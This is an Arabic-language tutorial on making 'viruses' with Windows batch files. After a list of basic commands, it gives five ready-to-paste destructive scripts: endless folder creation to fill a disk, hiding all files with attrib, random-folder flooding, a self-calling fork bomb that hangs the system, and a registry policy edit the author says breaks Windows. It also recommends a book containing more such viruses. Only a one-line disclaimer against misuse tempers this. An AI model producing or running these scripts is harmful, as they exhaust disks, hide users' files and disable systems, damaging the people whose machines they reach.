تعلم صناعة الفيروسات بواسطة برمجة الملفات الدفعية
صناعة الفيروسات تتم بواسطة اي لغة برمجة ولكل لغة امكانياتها الخاصة ، ولكن اليوم سنتكلم عن صناعة الفيروسات بواسطة برمجة الملفات الدفعية Batch Files programming وهي عبارة عن ملف بإمتداد bat يحتوي على اوامر تتنفذ بشكل مباشر بواسطة نظام التشغيل ويندوز بمجرد فتحها ، نحتاج للعمل فقط برنامج المفكرة وذاكرة خارجية لتجربة الامثلة هنا K ممكن تغييرها الى رمز الذاكرة في جهازك ، هذه بعض الاوامر الهامة التي سنستخدمها :
rmdir لحذف المجلدات
copy لنسخ ملف
move لقص الملف (نقل الملف)
del لحذف الملفات
mkdir لانشاء مجلد جديد
ren اعادة تسمية الملفات والمجلدات
/cd للانتقال الى اعلى مجلد (المجلد الرئيسي)
cd main للانتقال الى المجلد main
cd .. للرجوع الى الخلف
start notepad لفتح برنامج المفكرة يمكنك فتح اي برنامج بواسطة الامر start
@echo on لطباعة النتائج بينما off لعدم الطباعة
attrib للتحكم بخصائص الملفات والمجلدات
والان سنكتب العديد من الفايروسات كأمثلة للتوضيح وبعد ذلك سنعطيكم كتاب يحتوي على شرح مفصل لهذا الموضوع لمن يريد التوسع ، لتجريب الامثلة افتح برنامج المفكرة ولصقت الكود وحفظته بامتداد bat
@echo on لطباعة النتائج بينما off لعدم الطباعة
المثال الاول : فيروس يقوم بإنشاء مجلد باسم virus وينشئ داخله مجلد اخر بنفس الاسم وهكذا بواسطة دوارة لانهائية حتى يمتلئ القرص ويعلق الجهاز:
حيث K رمز القرص ممكن تغيره والكلمة loop ممكن تغيرها اي كلمة و الكلمة المفتاحية goto للانتقال الى جزء معين من الكود الى loop لعمل دوارة كما هو موضح في التالي :
@echo off
K:
:loop
md Virus
cd Virus
goto loop
المثال الثاني : فيروس يقوم بإخفاء جميع الملفات وجعلها ملفات نظام داخل القرص ويمكن تستخدم ذاكرة خارجية لتجربة ذلك :
@echo off
k:
attrib /s /d +s +h +r
المثال الثالث : فيروس يقوم بملئ القرص بمجلدات بأسماء عشوائية :
@echo off
k:
:rand
mkdir %random%
goto rand
المثال الرابع : فيروس يقوم بفتح نوافذ بشكل متتالي حتى يعلق النظام:
قم بانشاء بفتح ملف المفكرة ولصق الكود وحفظت الملف باسم fork.bat
@echo off
:loop
Explorer
Call fork.bat
Goto loop
المثال الخامس : فيروس لاعادة ضبط الرجيستري ولكن انصح بعدم تجريبة لانه سوف يطفي الجهاز ويخرب النظام وتحتاج لفرمتته:
@echo off
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v
NoClose /t REG_DWORD /d 1 /f
exit
الى هنا انتهى الدرس ولكن سأعطيكم كتاب رائع لبرمجة الملفات الدفعية ويحتوي على العديد من الفيروسات لتحميل الكتاب من الرابط التالي او للبحث في جوجل هذا اسم الكتاب ومؤلفه Batch File Programming by Premkumar. S
ملاحظة: لاتستخدمها بشكل خاطئ للاضرار بالاخرين